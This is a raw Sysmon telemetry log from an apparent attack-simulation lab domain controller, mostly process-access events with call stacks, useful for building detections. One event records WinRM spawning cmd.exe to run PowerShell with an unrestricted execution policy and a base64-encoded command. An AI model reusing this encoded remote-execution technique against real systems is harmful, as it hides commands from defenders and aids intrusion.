09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28F4-5F80-7E00-000000007F01}4860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28F4-5F80-7C00-000000007F01}47844840C:\Windows\system32\WinrsHost.exe{A5F018FF-28F4-5F80-7E00-000000007F01}4860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000002672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28F4-5F80-7E00-000000007F01}4860C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F4-5F80-F3CC-040000000000}0x4ccf30HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000002671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28BF-5F80-1300-000000007F01}12642272C:\Windows\system32\svchost.exe{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.229{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.213{A5F018FF-28F4-5F80-7D00-000000007F01}47964816C:\Windows\system32\conhost.exe{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.213{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28F4-5F80-7D00-000000007F01}4796C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.213{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.213{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.212{A5F018FF-28F4-5F80-7C00-000000007F01}4784C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28F4-5F80-F3CC-040000000000}0x4ccf30HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.197{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 